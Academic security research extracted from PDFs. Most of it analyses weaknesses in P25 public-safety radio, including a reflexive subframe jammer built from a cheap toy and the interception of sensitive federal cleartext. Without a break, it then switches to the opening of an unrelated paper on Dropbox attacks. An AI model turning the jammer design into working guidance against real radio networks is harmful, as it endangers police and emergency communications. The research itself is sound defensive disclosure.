Because it is difficult to determine that one is receiving
an accidentally non-encrypted signal, messages from a
user unintentionally transmitting in the clear will still be
received by all group members (and anyone else eaves-
dropping on the frequency), who will have no indication
that there is a problem unless they happen to be actively
monitoring their receivers’ displays during the transmis-
sion.

Especially in light of the user interface issues dis-
cussed in Section 3.6, P25’s cleartext acceptance policy
invites a practical scenario for cleartext to be sent with-
out detection for extended periods. If some encrypted
users accidentally set their radios for clear mode, the
other users will still hear them. And as long as the (mis-
takenly) clear users have the correct keys, they will still
hear their cohorts’ encrypted transmissions, even while
their own radios continue transmitting in the clear.

3.5 Cumbersome Keying
The P25 key management model is based on centralized
control. As noted above, in most secure P25 products
(including Motorola’s), key material is loaded into radios
either via a special key variable loader (that is physically
attached by cable to the radio; see Figure 4) or through
the OTAR protocol (via a KMF server on the radio net-
work).
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There is no provision for individual groups of users
to create ad hoc keys for short term or emergency use
when they find that some members of a group lack the
key material held by the others. That is, there is no
mechanism for peers to engage in public key negotiation
among themselves over the air or for keys to be entered
into radios by hand without the use of external keyloader
hardware.

Thus there is no way for most users in the field to add a
new member to the group or to recover if one user’s radio
is discovered to be missing the key during a sensitive op-
eration. In systems that use automatic over-the-air key-
ing at regular intervals, this can be especially problem-
atic. If common keys get “out of sync” after some users
have updated keys before others have, all users must re-
vert to clear mode for the group to be able to communi-
cate.4 As we will see in the next section, this is a com-
mon scenario in practice.

3.6 User Interface Ambiguities
P25 mobile radios are intended to support a range of gov-
ernment and public safety applications, many of which,
such as covert law enforcement surveillance, require both
a high degree of confidentiality as well as usability and
reliability.

While a comprehensive analysis of the user interface
and usability of P25 radios is beyond the scope of this
paper, we found a number of usability deficiencies in the
P25 equipment we examined.

As noted above, the security features of P25 radios as-
sume a centrally-controlled key distribution infrastruc-
ture shared by all users in a system. Once cryptographic
keys have been installed in the mobile radios, either by a
manual key loading device or through OTAR, the radios
are intended to be simple to operate in encrypted mode
with little or no interaction from the user. Unfortunately,
we found that the security features are often difficult to
use reliably in practice.5

All currently produced P25 radios feature highly con-
figurable user interfaces. Indeed, most vendors do not
impose any standard user interface, but rather allow the

4This scenario is a sharp counterexample to the oft-repeated crypto-
graphic folk wisdom (apparently believed as an article of faith by many
end users) that frequently changing one’s keys yields more security.

5In this section, we focus on examples drawn from Motorola’s P25
product line. Motorola is a major vendor of P25 equipment in the
United States and elsewhere, supplying P25 radios to the federal gov-
ernment as well as state and local agencies. Other vendors’ radios have
similar features; we use the Motorola products strictly for illustration.
We performed some of our experiment with a small encrypted P25
network we set up in our laboratory, using a set of Motorola Model
XTS5000 handheld radios.

radio’s buttons, switches and “soft” menus to be cus-
tomized by the customer. While this may seem an advan-
tageous feature that allows each customer to configure
its radios to best serve its application, the effect of this
highly flexible design is that any given radio’s user inter-
face is virtually guaranteed to have poorly documented
menus, submenus and button functions.

Because the radios are customized for each customer,
the manuals are often confusing and incomplete when
used side-by-side with an end-user’s actual radio. For
example, the Motorola XTS5000 handheld P25 radio’s
manual [14] consists of nearly 150 pages that describe
dozens of possible configurations and optional features,
with incomplete instructions on how to activate features
and interpret displayed information that typically advise
the user to check with their local radio technician to find
out how a given feature or switch works. (Other man-
ufacturers’ radios have a similarly configurable design).
That is, every customer must, in effect, produce a cus-
tom user manual that describes how to properly use the
security features as they happen to have been configured.

In a typical configuration for the XTS5000, outbound
encryption is controlled by a rotating switch located on
the same stem as the channel selector knob. We found
it to be easy to accidentally turn off encryption when
switching channels. And other than a small symbol6

etched on this switch, there is little positive indication of
whether or not the radio is operating in encrypted mode.
Figure 5 shows the radio user interface in clear mode;
Figure 6 shows the same radio in encrypted mode.

On the XTS portable radios, a flashing LED indicates
the reception of encrypted traffic. However, the same
LED serves multiple purposes. It glows steady to indi-
cate transmit mode, ”slow” flashes to indicate received
cleartext traffic, a busy channel, or low battery, and ”fast”
flashes to indicate received encrypted traffic. We found
it to be very difficult to distinguish reliably between re-
ceived encrypted traffic and received unencrypted traffic.
Also, the LED and the “secure” display icon are likely
out of the operator’s field of view when an earphone or
speaker/microphone is used or if the radio is held up to
the user’s ear while listening (or mouth when talking).

The Motorola P25 radios can be configured to give an
audible warning of clear transmit or receive in the form
of a “beep” tone sounded at the beginning of each outgo-
ing or incoming transmission. But the same tone is used
to indicate other radio events, including button presses,
low battery, etc, and the tone is difficult to hear in noisy

6On Motorola radios, this symbol is a circle with a line through it,
unaccompanied by any explanatory label. This is the also the symbol
used in many automobiles to indicate whether the air condition vents
are open or closed.
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Figure 5: XTS5000 in “Clear” Mode

environments.
In summary, it appears to be quite easy to accidentally

transmit in the clear, and correspondingly difficult to de-
termine whether an incoming message was encrypted or
with what key.

3.7 Discussion
The range of weaknesses in the P25 protocols and imple-
mentations, taken individually, might represent only rel-
atively small risks that can be effectively mitigated with
careful radio configuration and user vigilance. But taken
together, they interact in far more destructive ways.

For example, if users are accustomed to occasionally
having keys be out of sync and must frequently switch
to clear mode, the risk that a user’s radio will mistak-
enly remain in clear mode even when keys are available
increases greatly.

More seriously, these vulnerabilities provide a large
menu of options that increase the leverage for targeted
active attacks that become far harder to defend against.

In the following sections, we describe practical at-
tacks against P25 systems that exploit combinations of
these protocol, implementation and usability weaknesses
to extract sensitive information, deny service, or manip-
ulate user behavior in encrypted P25 systems. We will
also see that user and configuration errors that cause un-
intended cleartext transmission are very common in prac-
tice, even among highly sensitive users.

4 Denial of Service

Recall that P25 uses a narrowband modulation scheme
designed to fit into channels compatible with the current

spectrum management practices for two-way land mo-
bile radio. Unfortunately, although this was a basic de-
sign constraint, it not only denies P25 systems the jam-
ming resistance of modern digital spread spectrum sys-
tems, it actually makes them more vulnerable to denial
of service than the analog systems they replace. The P25
protocols also permit potent new forms of deliberate in-
terference, such as selective attacks that induce security
downgrades, a threat that is exacerbated by usability de-
ficiencies in current P25 radios.

4.1 Jamming in Radio Systems

Jamming attacks, in which a receiver is prevented from
successfully interpreting a signal by noise injected onto
the over the air channel, are a long-known and widely
studied problem in wireless systems.

In ordinary narrowband channelized analog FM sys-
tems, jamming and defending against jamming is a mat-
ter of straightforward analysis. The jammer succeeds
when it overcomes the power level of the legitimate
transmitter at the receiver. Otherwise the “capture ef-
fect”, a phenomenon whereby the stronger of two sig-
nals at or near the same frequency is the one demod-
ulated by the receiver, permits the receiver to continue
to understand the transmitted voice signal. An attacker
may attempt to inject an intelligible signal or actual noise
to prevent reception. In practice, an FM narrowband
jammer will succeed reliably if it can deliver 3 to 6 dB
more power to the receiver than the legitimate transmitter
(to exceed the “capture ratio” of the system). Jamming
in narrowband systems is thus for practical purposes a
roughly equally balanced “arms race” between attacker
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Figure 6: XTS5000 in “Encrypted” Mode

and defender. Whoever has the most power wins.7

In digital wireless systems, the jamming arms race
is more complex, depending on the selected modulation
scheme and protocol. Whether the advantage falls to the
jammer or to the defender depends on the particular mod-
ulation scheme.

Spread spectrum systems [5], and especially direct se-
quence spread spectrum systems, can be made robust
against jamming, either by the use of a secret spread-
ing code or by more clever techniques described in [9, 1].
Without special information, a jamming transmitter must
increase the noise floor not just on a single frequency
channel, but rather across the entire band in use, at suffi-
cient power to prevent reception. This requires far more
power than the transmitter with which it seeks to inter-
fere, and typically more aggregate power than an ordi-
nary transmitter would be capable of. Modern spread
spectrum systems such as those described in the refer-
ences above can enjoy an average power advantage of
30dB or more over a jammer. That is, in a spread spec-
trum system operating over a sufficiently wide band, a
jammer can be forced to deliver more than 30dB more
aggregate power to the receiving station than the legiti-
mate transmitter.

By contrast, in a narrow-band digital modulation
scheme such as P25’s current C4FM mode (or the lower-
bandwidth Phase 2 successors proposed for P25), jam-
ming requires only the transmission of a signal at a level
near that of the legitimate transmitter. Competing sig-
nals arriving at the receiver will prevent clean decoding

7As a practical matter, the analog jamming arms race is actually
tipped slightly in favor of the defender, since the attacker generally also
has to worry about being discovered (and then eliminated) with radio
direction finding and other countermeasures. More power makes the
jammer more effective, but also easier to locate.

of a transmitted symbol, effectively randomizing or set-
ting the received symbol. [2] That is, C4FM modulation
suffers from approximately the same inherent degree of
susceptibility to jamming as narrowband FM – a jammer
must simply deliver slightly more power to the receiver
than the legitimate transmitter.

But, as we will see below, the situation is actually far
more favorable to the jammer than analysis of its modu-
lation scheme alone might suggest. In fact, the aggregate
power level required to jam P25 traffic is actually much
lower than that required to jam analog FM. This is be-
cause an adversary can disrupt P25 traffic very efficiently
by targeting only specific small portions of frames to jam
and turning off its transmitter at other times.

4.2 Reflexive Partial Frame Jamming

We found that the P25 protocols are vulnerable to highly
efficient jamming attacks that exploit not only the nar-
rowband modulation scheme, but also the structure of the
transmitted messages.

Most P25 frames contain one or more small metadata
subfields that are critical to the interpretation of the rest
of the frame. For example, if the 4-bit Data Unit ID,
present at the start of every frame, is not received cor-
rectly, receivers cannot determine whether it is a header,
voice, packet or other frame type. This is not the only
critical subfield in a frame, but it is illustrative for our
purposes.

It is therefore unnecessary for an adversary to jam the
entire transmitted data stream in order to prevent a re-
ceiver from receiving it. It is sufficient for an attacker to
prevent the reception merely of those portions of a frame
that are needed for the receiver to make sense of the rest
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of the frame.
Unfortunately, the P25 frame encoding makes it par-

ticularly easy and efficient for a jammer to attack these
subfields in isolation.

A P25 voice frame is 1728 bits in length. The entire
NID subfield containing the NAC + DUID (and its error
correction code) represents only 64 bits of these 1728
bits. Jamming just the 64 bit NID subfield effectively
denies the receiver the ability to interpret the other 1664
bits of the frame, even if those bits are received unmo-
lested . A jammer synchronized to attack just the NID
subfield of voice transmission would need to operate at
a duty cycle of only 3.7% during transmissions. Such a
pulse lasts only about 1/100th of a second.

To efficiently jam particular frame subfields, a jam-
mer must synchronize its transmissions so that it begins
transmitting at or just before the the first symbol of the
targeted field is sent by the transmitter under attack, and
end just after the last symbol of the field has been sent. At
4800 symbols per second, each symbol lasts just longer
than 0.2ms. This may seem at first to require an impos-
sibly high degree of timing synchronization. But the P25
framing scheme actually makes it quite straightforward
for a jammer equipped with its own receiver to tightly
synchronize to the target transmitter. Recall that each
frame begins with an easily-recognized frame synchro-
nization word, which the jammer can use to precisely
trigger its interference so that it begins and ends at ex-
actly the desired symbols.

By careful synchronization, a jammer that attacks only
the NID subfield of voice traffic can reduce its overall
energy output so that it effectively has more than 14dB of
average power advantage over the legitimate transmitter.

It may be possible to improve the advantage to the
jammer even more by careful analysis of the error correc-
tion codes used in particular subfields in order to reduce
the number of bits in the subfield that have to be jammed.
(We assumed conservatively above that the attacker must
jam every bit of the 64 bit NID field in order to prevent
correct reconstruction of at least one bit of the NID pay-
load, which clearly can be improved upon). This would
permit even lower transmission times and average emit-
ted power. It is not necessary to fully obliterate a critical
protocol, merely to reliably (though not necessarily per-
fectly) prevent its correct interpretation.

Properly synchronized, a P25 jamming system can op-
erate at a very low duty cycle that not only saves energy
at the jammer and makes its equipment smaller and less
expensive, but also makes the existence of the attack dif-
ficult to diagnose and detect, and, if detected, require the
use of specialized equipment to locate it. (Note that the

length of the jamming transmission is only about 10ms
long, which is far shorter than the “oracle” transmissions
discussed in Section 3.3.) Such a jamming system need
only be relatively inexpensive, requires only a modest
power supply, and is trivial to deploy in a portable config-
uration that carries little risk to the attacker, as described
below.

We note that there is no analogous low-duty cycle jam-
ming attack possible against the narrowband FM voice
systems that P25 replaces.

4.3 Selective Jamming Attacks

An attacker need not attempt to jam every transmitted
frame. The attacker can pick and choose which frames to
attack in order to encourage the legitimate users to alter
their behavior in particular ways.

For example, it is straightforward to monitor for a non-
zero MI field in a header frame (indicating an encrypted
transmission) and to selectively jam portions of subse-
quent frames, while leaving clear transmissions alone, in
order to create the impression to the users of a radio net-
work that, for unknown technical reasons, encryption has
malfunctioned while clear transmission remains viable,
thus inducing the users to downgrade to clear transmis-
sions. If the users are already conditioned (through other
weaknesses in P25) to unreliable cryptography, such an
attack might be dismissed as routine. As we discuss in
Section 5, it appears to be reasonable to expect that many
such users are so conditioned.

As another possibility, an attacker could choose to at-
tack only uplink messages on the control channel of a
trunked P25 system, thus effectively denying use of the
entire trunked network at an extremely low cost to the
attacker.

In addition to the complexities of detecting and
direction-finding an attack lasting mere hundredths or
even thousandths of a second, adversaries can take steps
to render their attacks less vulnerable to detection and
more difficult for the operators of a radio network to
prevent. For example, an attacker could choose to de-
ploy multiple battery operated jamming devices in a
metropolitan area, placing them in public locations to
make tracing of the devices harder, or even surrepti-
tiously attaching them to the vehicles of third parties
such as taxis or delivery trucks to cause confusion, and
to make the jammers harder to locate. Such devices may
be made arbitrarily programmable, changing which of a
group of devices is active at any one time or even taking
commands over the air.
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Figure 7: Girltech IMME, with modified firmware

4.4 Experimental Results

To confirm that low duty cycle subframe jamming is
effective against standard P25 receiver implementations
and to examine practical jammer architectures that might
be employed by an adversary, we implemented a low-
power subframe jammer for P25 traffic for testing in our
laboratory environment.

Recent work has shown that inexpensive software pro-
grammable radios such as the Ettus USRP are capable of
implementing the P25 protocols and acting as part of a
P25 deployment [7]. Their versatility and the availabil-
ity of open-source P25 software makes them attractive
for reception, but round-trip delays between the receiver
and transmitter make the platform less than ideal for sub-
frame jamming.

Instead, we implemented our proof-of-concept selec-
tive jammer for P25 frames using the Texas Instru-
ments CC1110 platform. The CC1110 chip combines
a CC1101 radio with an 8051 microcontroller in a sin-
gle system-on-chip package, allowing for faster reaction
times than a USRP or other software radio could sup-
port. When jamming reflexively, packets are passed to
the 8051 one byte at a time, allowing a filter to selectively
jam transmissions only if the received header matches an
intended target.

While any CC1110 board for the correct frequency
range is sufficient, we used the GirlTech IMME, a com-
mercial toy intended for pre-teen children to text mes-
sage one another without cellular service. Presently
priced at $30 USD, the package includes a handheld unit
and a USB adapter, either of which may be used with our
P25 client (for an aggregate price of $15 per jammer).

In order to facilitate rapid development, our CC1110
toolkit for P25 was divided into a Python-language client
that communicates with native 8051 applications through
an open-source debugger, the GoodFET. [8] Operations

Transition
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Figure 8: Sub-Frame Reflex Jamming

which do not require a fast reaction time are imple-
mented only in Python, while timing-critical operations
such as packet reception and sub-frame jamming are im-
plemented as small fragments of C applications and are
executed from RAM in the CC1110. Once a particular
program has been verified to behave correctly, it can be
rewritten as a stand-alone application to run from flash
memory under battery power.

As shown in Figure 8, our sub-frame jammer is trig-
gered by the LDU Frame Sync bitstream. Upon receiving
this sequence, the CC1101 switches from its Receive to
Transmit states. Starting the transition before the last 8
symbols of the 24-symbol Frame Sync are received al-
lows the jammer-induced packet errors to begin from the
very first byte of an LDU’s NID field. Holding the trans-
mission for the entire duration of the NID subframe and
then ending it immediately produces an overall duty cy-
cle of 3.7% relative to the transmitter under attack.

Our lab experiments were entirely successful. The
GirlTech-based reflexive subframe jammer is able to re-
liably prevent reception from a nearby Motorola P25
transmitter as received by both a Motorola XTS2500
transceiver and Icom PCR-2500, with the jammer and the
transmitter under attack both operating at similar power
levels and with similar distance from the receiver. A
standard off-the-shelf external RF amplifier would be all
that is necessary to extend this experimental apparatus to
real-world, long-range use. While we did not perform
high power or long-range jamming ourselves (and there
are significant regulatory barriers to such experiments),
we expect that an attacker would face few technical dif-
ficulties scaling a jammer within the signal range of a
typical metropolitan area.

5 Encryption Failure in Fielded Systems

Even if the P25 protocols and the design of P25 products
might make them potentially vulnerable to user and con-
figuration error, that does not automatically mean that
fielded P25 systems are always insecure in practice. A
natural question, then, is how successful the users of se-
cure P25 radio systems are in preventing the unintended
transmission of sensitive cleartext.
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One way to answer this question might be be through
a usability study, such as the one seminally performed by
Whitten and Tygar with PGP [19], in which researchers
train test subjects to configure and use a P25 system and
then observe their behavior and performance in a con-
trolled environment. While such studies can have value
in evaluating, e.g., different user interface designs from
among a set of candidates, they have inherent limita-
tions. Aside from the cost of recruiting and observing
suitable test subjects, it can be difficult to replicate “real
world” conditions – especially the motivation of the users
to maintain security while getting their work done – suf-
ficiently well to ensure that the results are representative
of the system’s true usability under field conditions [3].

Instead, we measured and analyzed the incidence of
unintended cleartext leakage in real P25 systems car-
rying a high volume of sensitive encrypted traffic with
trained and motivated users: the secure tactical two-way
radio systems used in federal criminal investigations.

An Over-the-Air Analysis

Although P25 is designed for general two-way radio use,
the principal users of P25 in the US are law enforcement
and public safety agencies. P25 has recently enjoyed par-
ticularly widespread adoption by the federal government
for the tactical radios used for surveillance and other con-
fidential operations by Federal law enforcement agencies
such as the DEA, FBI, the Secret Service, ICE, and so on.

Most of the P25 tactical radio systems currently used
by these agencies operate in one of two frequency bands
in the VHF and UHF radio spectrum allocated exclu-
sively for Federal use. There are approximately 2000
two-way radio voice channels in the Federal spectrum
allocation (comprising 11 MHz in the VHF band plus
14 MHz in the UHF band, with channels spaced every
12.5 KHz). Most of these channels are unused in any
given geographic area. The individual channels used by
each given agency are assigned on a region-by-region ba-
sis, so a channel used by, say, the National Parks Ser-
vice in one area might be used by the Bureau of Pris-
ons in another area. Channels used for sensitive tactical
law enforcement channels are mixed in among those of
other Federal agencies and likewise vary on a regional
basis. All Federal channel allocations are managed by
the National Telecommunications and Information Ad-
ministration and, unlike the state, local, and private fre-
quency allocations managed by the Federal Communica-
tions Commission, are not published.8

8Although the Federal agency frequency assignments are not offi-
cially published by the government, some of the tactical frequencies

We built a P25 traffic interception system for the Fed-
eral frequency bands, which we operated over a two year
period in two US metropolitan areas. Our system con-
sists of an array of Icom PCR-2500 software-controlled
radio receivers [11], an inexpensive ($1000) wide-band
receiver marketed to radio hobbyists and also popular in
commercial monitoring applications. The PCR-2500 has
several features that were important to us: relatively good
performance in the federal VHF and UHF frequency
bands, software programmability (via a USB interface),
P25 capability via a daughterboard option, and the abil-
ity to search a range of frequencies to identify those in
active use.

Our first task was to identify and catalog the particu-
lar frequencies used for sensitive tactical operations in
each of our two metropolitan areas. We programmed
PCR-2500 receivers located at two locations in or near
each city to identify frequencies with P25 signals being
transmitted the federal frequency bands. We live mon-
itored traffic on each identified frequency to determine
whether it is used for law enforcement surveillance or
other sensitive operations. After several months, we pos-
itively identified 114 frequencies in one city and 109 in
the other as being used for sensitive law enforcement op-
erations. While some of the frequencies we found carried
a great deal of traffic, many others were only used spo-
radically. On every one of the sensitive frequencies we
found, the traffic was predominantly encrypted, but still
carried at least occasional cleartext. We could, of course,
only monitor the transmissions that were sent in the clear
(which extended the time required for our frequency cat-
aloging process).9

We then set up infrastructure to intercept every clear-
text transmission that occurred on the sensitive frequen-
cies we identified. We dedicated a number of individual
PCR-2500 receivers to intercept traffic on a few particu-
larly active frequencies, in order to ensure that we would
capture virtually all of the cleartext that was transmitted
on them. (The frequencies with dedicated receivers were
the output channels of nearby repeater systems, which
had the desirable effect of ensuring that any transmis-

used by some agencies in some areas are relatively well known and can
be found on the Internet. But most of the frequencies used for sensitive
tactical communication are not published or widely known.

9It is explicitly legal under 18 USC 2511 for any person in the US to
intercept and monitor unencrypted law enforcement radio traffic, even
sensitive communication that perhaps should be encrypted. However,
in the interest of public safety, we decline to identify here the particular
frequencies used by particular agencies. Also, to comply with our insti-
tutional IRB requirements, we did not retain and will not disclose here
any personally identifiable information we happened to monitor or de-
rive, whether about surveillance targets or the government employees
who were using the radios.
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sions we did not record were not due to our receiver be-
ing out of geographic range but rather due to the traf-
fic being encrypted). For the remaining frequencies, We
used two additional PCR-2500 receiver in different lo-
cations around each city to continuously “scan” through
the channels. and capture traffic detected during the scan
(Icom supplies software that performs a similar func-
tion, but it did not have sufficient capability to record
the P25 metadata we were concerned with, so we had to
write our own software for this purpose). We operated
this arrangement, on an increasing number of discovered
frequencies and with an increasing number of receivers,
over a period of two years.

We “live sampled” cleartext audio each day. We disre-
garded “non-sensitive” traffic such as radio tests or other
messages for which encryption would be unnecessary or
inapprpriate (this represented only a small fraction of the
traffic on the frequencies we were monitoring), leaving
only “unintended” sensitive cleartext. We categorized
each unintended cleartext message exchange according
to the apparent error made or other reason it was sent in
the clear. (We did not retain any identifying information
about agents or targets).

In every case, sensitive traffic we sampled was sent in
the clear under one of three scenarios:

• Individual Error: One or more users in the clear,
but other users encrypted. In this scenario, all users
clearly shared a common cryptographic key, since
communication was able to occur unimpeded. But
the users transmitting in the clear apparently ac-
cidentally switched their radios to transmit in the
clear mode. Because the offending users still re-
ceived the other users’ encrypted traffic and because
those users had no way to reliably tell that they were
sometimes getting clear traffic, this situation typi-
cally remained undetected.

• Group Error: All users operated in the clear, but
gave an indication that they believed they were op-
erating in encrypted mode. In some cases, this in-
volved one user explaining to another how to set
the radio to encrypted mode, but actually described
the procedure for setting it to clear mode. In other
cases, the users would simply announce that they
had just rekeyed their radios to operated in en-
crypted mode (but were actually in the clear).

• Keying Failure: One or more users did not have the
correct key, is unable to receive encrypted transmis-
sions, and asks (in the clear) that everyone switch to
clear mode for the duration of an operation so that
all group members are able to participate.

Across all agencies, the unintended cleartext we inter-
cepted was roughly evenly split among the Individual
Error, Group Error, and Keying Failure categories. In
general, we found that even when users knew they were
operating in the clear (because they expressly indicated
that they were switching to clear mode due to keying fail-
ure) and were engaged in sensitive operations, they made
little effort to conceal the nature of their activity in their
transmissions, and often appeared to “forget” that they
were operating in the clear.

Note that every system we monitored had P25 encryp-
tion capability, and, indeed, most of the traffic sent was
apparently successfully encrypted most of the time. Yet
we still intercepted hundreds of hours of very sensitive
traffic that was sent in the clear over the course of two
years. While we will not identify here the agencies, lo-
cations, or particular operations involved, we note that
the traffic we monitored routinely disclosed some of the
most sensitive law enforcement information that the gov-
ernment holds, including:

• Names and locations of criminal investigative tar-
gets, including those involved in organized crime.

• Names and other identifying features of confidential
informants.

• Descriptions and other characterizing features of
undercover agents.

• Locations and description of surveillance operatives
and their vehicles.

• Details about surveillance infrastructure being em-
ployed against particular targets (hidden cameras,
aircraft, etc.).

• Information relayed by Title III wiretap plants.

• Plans for forthcoming arrests, raids and other confi-
dential operations.

During March, April and May 2011, we intercepted
a mean of 23 minutes of unintended sensitive cleartext
per day per city across all monitored frequencies. Note
that the variance was high; on some days, particularly
weekends and holidays, we would capture less than one
minute, while on others, we captured several hours. We
monitored sensitive transmissions about operations by
agents in every Federal law enforcement agency in the
Department of Justice and the Department of Homeland
Security. Most traffic was apparently related to crimi-
nal law enforcement, but some of the traffic was clearly
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related to other sensitive operations, including counter-
terrorism investigations and executive protection of high
ranking officials.10

6 End-User Stopgap Mitigations

Many of the security problems in P25 arise from basic
protocol design and architectural decisions that cannot
be altered without a substantial, top-to-bottom redesign
of the protocols and of the assumptions under which it
operates. Given the critical and highly sensitive nature
of much of the P25 user base, we strongly urge that a
high priority be placed on such a redesign. However,
until that occurs, there is little that the P25 user can do to
defend against, e.g., the denial of service weaknesses we
identified.

Other vulnerabilities arise from implementation errors
or poor choices made by individual vendors (such as the
transmission of unit IDs in the clear). These can be fixed
without a redesign, but again, P25 users can do little to
defend themselves here except to wait for the vendors to
address these errors and deficiencies.

However, we note that there may be two areas in which
P25 users and system administrators can immediately
reduce the incidence of unintended sensitive cleartext
transmission: improving the configurable of radio user
interfaces and re-thinking their rekeying policies.

At least half of the unintended cleartext we captured
was attributable to some form of “user error”. However,
it would be a mistake to simply dismiss this as careless-
ness or to focus entirely on user awareness and training.
In fact, these “user” errors are effectively invited by the
radio user interfaces, and it is these interfaces to which
we should assign the blame. But, fortunately, many cur-
rent P25 radios can be “customer configured” by the end-
user’s system manager to make the security state clearer
to the user.

In particular, we suggest that the radios be configured
without the use of the “secure” switch. Instead, encryp-
tion should be configured (“strapped”) to be always on
(or always off) for each channel. Displayed channel
names should be chosen to reflect whether encryption is
stropped on or off, e.g., channel ”TAC1” might be re-
named instead to “TAC1 Secure” or “TAC1 Clear”. (If
both secure and clear capability are required on the same
frequency, the channel assignment can be duplicated).

10We are currently working with the agencies we monitored to help
them improve their radio security practices. However, because many of
the weaknesses that lead to cleartext leakage result from basic proper-
ties of the protocols and their implementations, incidents of unintended
cleartext are likely to continue to occur from time to time even with in-
creased user vigilance.

The second major cause of unintended cleartext that
we captured arose from users who did not have current
keys, often due to key expiration and the failure of the
OTAR protocol. Some systems rekey weekly or monthly,
and we found that users are inevitably left without cur-
rent key material as a result.

We suggest that systems be configured to greatly min-
imize the required frequency of rekeying and to main-
tain keys for much longer than they are under current
practice. Instead of monthly rekeys, systems should de-
ploy long-lived, non-volatile keys that are changed only
at very long intervals or if an actual compromise (such as
a lost radio) is discovered. This will greatly improve the
likelihood that users who wish to communicate securely
will share common key material when they need it.

7 Conclusions

APCO P25 is a widely deployed protocol aimed at crit-
ical public safety, law enforcement, and national secu-
rity applications. The user base for secure P25 is rapidly
growing in the United States and other countries, espe-
cially among federal law enforcement and intelligence
agencies that conduct surveillance and other covert ac-
tivities against sophisticated adversaries.

As a wireless system, P25 is inherently vulnerable to
passive traffic interception and active attack, and so it
must rely entirely on cryptographic techniques for its op-
tional security features. And yet we found the protocols
and its implementations suffer from serious weaknesses
that leak sensitive data, invite inadvertent clear transmis-
sion in “secure” mode, and permit active and passive
tracking and traffic analysis. The protocol is difficult to
use properly even when not under attack, as evidenced
by our interception of large volumes of sensitive cleart-
ext sent by mistake.

The protocol is particularly vulnerable to denial of ser-
vice. Perhaps uniquely among modern digital voice ra-
dio systems, P25 can be effectively jammed with only
a fraction of the aggregate signal power used by the le-
gitimate user, by attackers with low cost equipment and
without access to secrets such as keys or user-specific
codes. Jamming attacks can also be used to aid in the
exploitation of other weaknesses, such as selectively dis-
abling security features to force users into the clear.

It is reasonable to wonder why this protocol, which
was developed over many years and is used for sensi-
tive and critical applications, is so difficult to use and
so vulnerable to attack. We might compare P25 with
other voice encryption protocols and systems, such as the
US Government’s STU-III and STE [18] encrypting tele-
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phone system used for classified traffic, that perform an
ostensibly similar function and yet do not appear to suf-
fer from such a large number of exploitable deficiencies.
However, we note that P25 is based on a very different
model from that of most cryptographic communication
protocols. In the vast majority of cryptographic proto-
cols, both sender and receiver are active participants in
the protocol, and perform a negotiation or handshake be-
fore communication proceeds. In such protocols, both
parties typically have the opportunity to discover and re-
cover from errors, or abort the transaction, before any
data is transmitted. P25, however, while used in “two-
way” radio systems, is essentially a unilateral broadcast
system. All cryptographic decisions are made entirely
by the sender, with the receiver only a passive recipi-
ent of whatever the sender has transmitted. Protocols for
such broadcast-based encryption have not been as widely
formally studied as other forms of secure communica-
tion (with the possible exception of encryption in direct-
broadcast television systems), and may represent a rich
and difficult class of problem worthy of more attention
by our community. We explore this in more detail in ref-
erence [4].
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Abstract

During the past few years, a vast number of online file
storage services have been introduced. While several of
these services provide basic functionality such as upload-
ing and retrieving files by a specific user, more advanced
services offer features such as shared folders, real-time
collaboration, minimization of data transfers or unlim-
ited storage space. Within this paper we give an overview
of existing file storage services and examine Dropbox,
an advanced file storage solution, in depth. We analyze
the Dropbox client software as well as its transmission
protocol, show weaknesses and outline possible attack
vectors against users. Based on our results we show that
Dropbox is used to store copyright-protected files from
a popular filesharing network. Furthermore Dropbox can
be exploited to hide files in the cloud with unlimited stor-
age capacity. We define this as online slack space. We
conclude by discussing security improvements for mod-
ern online storage services in general, and Dropbox in
particular. To prevent our attacks cloud storage opera-
tors should employ data possession proofs on clients, a
technique which has been recently discussed only in the
context of assessing trust in cloud storage operators.

1 Introduction

Hosting files on the Internet to make them retrievable
from all over the world was one of the goals when the
Internet was designed. Many new services have been
introduced in recent years to host various type of files
on centralized servers or distributed on client machines.
Most of today’s online storage services follow a very
simple design and offer very basic features to their users.
From the technical point of view, most of these services
are based on existing protocols such as the well known
FTP [28], proprietary protocols or WebDAV [22], an ex-
tension to the HTTP protocol.

With the advent of cloud computing and the shared

usage of resources, these centralized storage services
have gained momentum in their usage, and the number
of users has increased heavily. In the special case of on-
line cloud storage the shared resource can be disc space
on the provider’s side, as well as network bandwidth
on both the client’s and the provider’s side. An online
storage operator can safely assume that, besides private
files as well as encrypted files that are specific and
different for every user, a lot of files such as setup files
or common media data are stored and used by more than
one user. The operator can thus avoid storing multiple
physical copies of the same file (apart from redundancy
and backups, of course). To the best of our knowledge,
Dropbox is the biggest online storage service so far
that implements such methods for avoiding unnecessary
traffic and storage, with millions of users and billions
of files [24]. From a security perspective, however, the
shared usage of the user’s data raises new challenges.
The clear separation of user data cannot be maintained
to the same extent as with classic file hosting, and
other methods have to be implemented to ensure that
within the pool of shared data only authorized access
is possible. We consider this to be the most important
challenge for efficient and secure “cloud-based” storage
services. However, not much work has been previously
done in this area to prevent unauthorized data access or
information leakage.

We focus our work on Dropbox because it is the
biggest cloud storage provider that implements shared
file storage on a large scale. New services will offer sim-
ilar features with cost and time savings on both the client
and the operators side, which means that our findings are
of importance for all upcoming cloud storage services as
well. Our proposed measurements to prevent unautho-
rized data access and information leakage, exemplarily
demonstrated with Dropbox, are not specific to Dropbox
and should be used for other online storage services as
well. We believe that the number of cloud-based storage
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operators will increase heavily in the near future.
Our contribution in this paper is to:

• Document the functionality of an advanced cloud
storage service with server-side data deduplication
such as Dropbox.

• Show under what circumstances unauthorized ac-
cess to files stored within Dropbox is possible.

• Assess if Dropbox is used to store copyright-
protected material.

• Define online slack space and the unique problems
it creates for the process of a forensic examination.

• Explain countermeasures, both on the client and the
server side, to mitigate the resulting risks from our
attacks for user data.

The remainder of this paper is organized as follows.
Related work and the technical details of Dropbox are
presented in Section 2. In Section 3 we introduce an at-
tack on files stored at Dropbox, leading to information
leakage and unauthorized file access. Section 4 discusses
how Dropbox can be exploited by an adversary in var-
ious other ways while Section 5 evaluates the feasibil-
ity of these attacks. We conclude by proposing various
techniques to reduce the attack surface for online storage
providers in Section 6.

2 Background

This section describes the technical details and imple-
mented security controls of Dropbox, a popular cloud
storage service. Most of the functionality is attributed
to the new cloud-paradigm, and not specific to Dropbox.
In this paper we use the notion of cloud computing as de-
fined in [9], meaning applications that are accessed over
the Internet with the hardware running in a data center
not necessarily under the control of the user:

“Cloud Computing refers to both the applica-
tions delivered as services over the Internet and
the hardware and systems software in the data
centers that provide those services.” ... “The
datacenter hardware and software is what we
will call a Cloud.”

In the following we describe Dropbox and related litera-
